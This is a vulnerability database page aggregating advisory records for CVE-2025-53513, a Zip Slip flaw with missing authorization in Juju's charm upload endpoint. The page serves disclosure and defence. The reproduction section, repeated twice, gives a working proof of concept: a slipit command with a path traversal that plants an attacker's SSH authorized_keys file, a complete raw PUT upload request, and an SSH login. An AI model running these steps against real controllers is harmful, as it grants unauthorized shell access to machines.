CVE-2025-53513
Zip slip vulnerability in Juju
The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
Zip slip vulnerability in Juju
The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.
- Record
CVE-2025-53513- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-24
- Updated
- 2026-11-02
EUVDEUVD-2025-20670
8.8
The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.
- Record
EUVD-2025-20670- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-24ch-w38v-xmh8
8.8
Juju zip slip vulnerability via authenticated endpoint
Impact
Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.
Details
A controller exposes three charm-related HTTP API endpoints, as follows:
- PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm>
- POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms
- GET https://<controller-ip>:17070/charms
These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.
To reproduce:
juju bootstrap
juju add-user testuser
juju change-user-password testuser
Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm
Download and install the following tool: https://github.com/usdAG/slipit
Run the following command to generate a new SSH key pair: ssh-keygen
Copy the contents of the newly created public key into a file called authorized_keys
Run the following command to inject the malicious path into the ZIP file:
slipit hello.zip authorized_keys --separator ../../../../../../home/
ubuntu/.ssh/
Send the PUT request below to a model on the target controller. Note the following:
- the model UUID and controller IP address in the request must be updated
- the Juju-Curl header needs to be sent with a value that starts with the “local:” string
- the PUT body content should have the exact contents of the ZIP file
- the Basic Authorization header should be tied to the user that was created above
- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e.
pathtw-<updated-sha>)
PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c
HTTP/1.1
Host: 10.4.154.217:17070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko
/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 40021
Content-Type: application/zip
Juju-Curl: local:pathtw
Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==
<ZIP BODY Content>
Observe that the response states that the charm has been uploaded.
Attempt to SSH to the controller by using the private key that was generated above.
Observe that it is possible to authenticate because the file has been overwritten.
Code
The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990
And the only auth required is that the incoming request be for an authenticated user
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754
but no specific permission checks are done.
Workarounds
There are no known workarounds.
References
- Record
GHSA-24ch-w38v-xmh8- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22, CWE-24
- Updated
- 2026-11-02
NVD
8.8
The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.
- Record
CVE-2025-53513- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-24, CWE-22
- Updated
- 2026-11-02
OSV
8.8
Zip slip vulnerability in Juju
The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.
- Record
CVE-2025-53513- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-24
- Updated
- 2026-11-02
OSVGHSA-24ch-w38v-xmh8
8.8
Juju zip slip vulnerability via authenticated endpoint
Impact
Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.
Details
A controller exposes three charm-related HTTP API endpoints, as follows:
- PUT/GET https://<controller-ip>:17070/model-<model-uuid>/charms/<nameofcharm>-<hashofcharm>
- POST/GET https://<controller-ip>:17070/model-<model-uuid>/charms
- GET https://<controller-ip>:17070/charms
These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.
To reproduce:
juju bootstrap
juju add-user testuser
juju change-user-password testuser
Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm
Download and install the following tool: https://github.com/usdAG/slipit
Run the following command to generate a new SSH key pair: ssh-keygen
Copy the contents of the newly created public key into a file called authorized_keys
Run the following command to inject the malicious path into the ZIP file:
slipit hello.zip authorized_keys --separator ../../../../../../home/
ubuntu/.ssh/
Send the PUT request below to a model on the target controller. Note the following:
- the model UUID and controller IP address in the request must be updated
- the Juju-Curl header needs to be sent with a value that starts with the “local:” string
- the PUT body content should have the exact contents of the ZIP file
- the Basic Authorization header should be tied to the user that was created above
- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e.
pathtw-<updated-sha>)
PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c
HTTP/1.1
Host: 10.4.154.217:17070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko
/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 40021
Content-Type: application/zip
Juju-Curl: local:pathtw
Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==
<ZIP BODY Content>
Observe that the response states that the charm has been uploaded.
Attempt to SSH to the controller by using the private key that was generated above.
Observe that it is possible to authenticate because the file has been overwritten.
Code
The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990
And the only auth required is that the incoming request be for an authenticated user
https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754
but no specific permission checks are done.
Workarounds
There are no known workarounds.
References
- Record
GHSA-24ch-w38v-xmh8- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-22, CWE-24
- Updated
- 2026-11-02
OSVGO-2025-3804 No score
Juju zip slip vulnerability via authenticated endpoint in github.com/juju/juju
Juju zip slip vulnerability via authenticated endpoint in github.com/juju/juju
- Record
GO-2025-3804- Updated
- 2026-11-02
OSVopenSUSE-SU-2025:15405-1 No score
govulncheck-vulndb-0.0.20250730T213748-1.1 on GA media
These are all security issues fixed in the govulncheck-vulndb-0.0.20250730T213748-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2025:15405-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/juju/jujuGo |
before 0.0.0-20250619215741-6356e984b82a | 0.0.0-20250619215741-6356e984b82a |
govulncheck-vulndbopenSUSE:Tumbleweed From an advisory covering 56 CVEs |
before 0.0.20250730T213748-1.1 | 0.0.20250730T213748-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-53513 is a high vulnerability (CVSS 8.8) in Canonical Juju, published July 8, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.78%, the 56th percentile. Fixed in github.com/juju/juju 0.0.0-20250619215741-6356e984b82a.
References
github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8
nvd.nist.gov/vuln/detail/CVE-2025-53513
github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405
github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e
drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view
github.com/juju/juju/blob/3.6/apiserver/apiserver.go
Show 61 moreShow less
pkg.go.dev/vuln/GO-2025-3804
github.com/advisories/GHSA-24ch-w38v-xmh8
juju.is
github.com/CVEProject/cvelistV5/tree/main/cves/2025/53xxx/CVE-2025-53513.json
github.com/juju/juju
suse.com/security/cve/CVE-2024-44905
suse.com/security/cve/CVE-2024-44906
suse.com/security/cve/CVE-2024-56731
suse.com/security/cve/CVE-2025-0928
suse.com/security/cve/CVE-2025-1088
suse.com/security/cve/CVE-2025-30086
suse.com/security/cve/CVE-2025-32019
suse.com/security/cve/CVE-2025-3227
suse.com/security/cve/CVE-2025-3228
suse.com/security/cve/CVE-2025-3415
suse.com/security/cve/CVE-2025-4563
suse.com/security/cve/CVE-2025-4656
suse.com/security/cve/CVE-2025-46702
suse.com/security/cve/CVE-2025-4674
suse.com/security/cve/CVE-2025-47281
suse.com/security/cve/CVE-2025-47871
suse.com/security/cve/CVE-2025-47943
suse.com/security/cve/CVE-2025-4922
suse.com/security/cve/CVE-2025-4981
suse.com/security/cve/CVE-2025-49825
suse.com/security/cve/CVE-2025-5030
suse.com/security/cve/CVE-2025-51471
suse.com/security/cve/CVE-2025-52477
suse.com/security/cve/CVE-2025-52889
suse.com/security/cve/CVE-2025-52890
suse.com/security/cve/CVE-2025-52893
suse.com/security/cve/CVE-2025-52894
suse.com/security/cve/CVE-2025-52900
suse.com/security/cve/CVE-2025-52901
suse.com/security/cve/CVE-2025-52902
suse.com/security/cve/CVE-2025-52903
suse.com/security/cve/CVE-2025-52904
suse.com/security/cve/CVE-2025-52995
suse.com/security/cve/CVE-2025-52996
suse.com/security/cve/CVE-2025-52997
suse.com/security/cve/CVE-2025-53512
suse.com/security/cve/CVE-2025-53513
suse.com/security/cve/CVE-2025-53547
suse.com/security/cve/CVE-2025-53632
suse.com/security/cve/CVE-2025-53633
suse.com/security/cve/CVE-2025-53634
suse.com/security/cve/CVE-2025-53826
suse.com/security/cve/CVE-2025-53893
suse.com/security/cve/CVE-2025-53945
suse.com/security/cve/CVE-2025-54059
suse.com/security/cve/CVE-2025-54379
suse.com/security/cve/CVE-2025-5689
suse.com/security/cve/CVE-2025-5981
suse.com/security/cve/CVE-2025-6023
suse.com/security/cve/CVE-2025-6032
suse.com/security/cve/CVE-2025-6224
suse.com/security/cve/CVE-2025-6226
suse.com/security/cve/CVE-2025-6227
suse.com/security/cve/CVE-2025-6233
suse.com/security/cve/CVE-2025-6264
suse.com/security/cve/CVE-2025-6624